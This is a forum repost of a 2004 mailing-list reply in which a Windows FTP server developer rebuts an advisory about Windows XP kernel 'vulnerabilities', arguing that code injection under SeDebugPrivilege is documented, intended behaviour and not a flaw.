    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: Multiple WinXP kernel vulns can give user mode programs kernel mode privileges

    > -----Original Message-----
    > From: first last [mailtoandnut@hotmail.com]
    > Sent: Wednesday, February 18, 2004 4:15 PM
    >
    > There exist several vulnerabilities in one of Windows XP
    > kernel's native API
    > functions which allow any user with the SeDebugPrivilege privilege to
    > execute arbitrary code in kernel mode, and read from and
    > write to any memory
    > address, including kernel memory.


    Umm... yes. And?

    May I quote from the Windows 2000 Server Resource Kit?

    "Debug programs
    "(SeDebugPrivilege)
    "Allows the user to attach a debugger to any process. This privilege
    provides access to sensitive and critical operating system components.
    By default, this privilege is assigned to Administrators."

    ....

    > Impact
    > ======
    >
    > Any user with the SeDebugPrivilege privilege could execute
    > arbitrary code as
    > the kernel, and read from and write to any address the kernel
    > can. The
    > program can do anything to the computer the kernel can, eg.
    > reprogram any
    > computer hardware, such as the BIOS flash memory or patch the
    > kernel in
    > memory.


    Yes, it's pretty well documented that SeDebugPrivilege allows the user who
    has it to completely subvert any and all processes. That's what it's there
    for, to allow a privileged debugger the ability to inject code and alter
    portions of memory. There is no definition of SeDebugPrivilege that I can
    find that says that such operations are limited to user-mode.

    > Since the user needs the SeDebugPrivilege, a privilege
    > normally only given
    > to administrators, to exploit these vulnerabilities, these
    > are not serious
    > vulnerabilities.


    These are not vulnerabilities at all. This is how the SeDebugPrivilege is
    supposed to work. This is why you don't give it away - even to developers.
    Note that if there is a vulnerability in SeDebugPrivilege, it is that many
    developers assume they need it, and beg their administrators to enable the
    privilege for them. SeDebugPrivilege is only needed for debugging processes
    that you do _not_ own, most debugging can occur without it.

    > The user is also normally an admin so he or
    > she could
    > easily install a device driver to become part of the kernel
    > instead of
    > exploiting these vulnerabilities.


    The user is also capable of injecting code into other processes of any kind,
    so could install a device driver whether or not he was an administrator.

    > Microsoft says it's OK for user mode programs to write to the
    > kernel so long
    > as you have the SeDebugPrivilege privilege, and will not fix anything.


    Since it's working as documented, and as has been documented for several
    years, I'm really not surprised.

    > Workaround
    > ==========
    >
    > Go to "Local Security Policy\ Security Settings\ Local
    > Policies\ User Rights
    > Assignments" and remove all users and groups from "Debug
    > Programs" and
    > restart your computer. Note that any malicious program with
    > administrator
    > rights could re-enable the SeDebugPrivilege privilege and
    > wait for the next
    > reboot and then gain kernel access. Thus this isn't a very
    > good workaround
    > if you always log on as the administrator.


    How does the saying go? "Then don't do that".

    Any malicious program with administrator rights is already game over.

    You haven't discovered anything new or hidden, or even particularly
    surprising. If you are allowed to debug any process, you can inject code
    and data wherever you want.

    Like physical access, providing administrator access or debug privilege to
    an attacker is the same as losing.

    Alun.
    ~~~~
    --
    Texas Imperial Software | Find us at http://www.wftpd.com or email
    1602 Harvest Moon Place | alun@texis.com.
    Cedar Park TX 78613-1419 | WFTPD, WFTPD Pro are Windows FTP servers.
    Fax/Voice +1(512)258-9858 | Try our NEW client software, WFTPD Explorer.


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics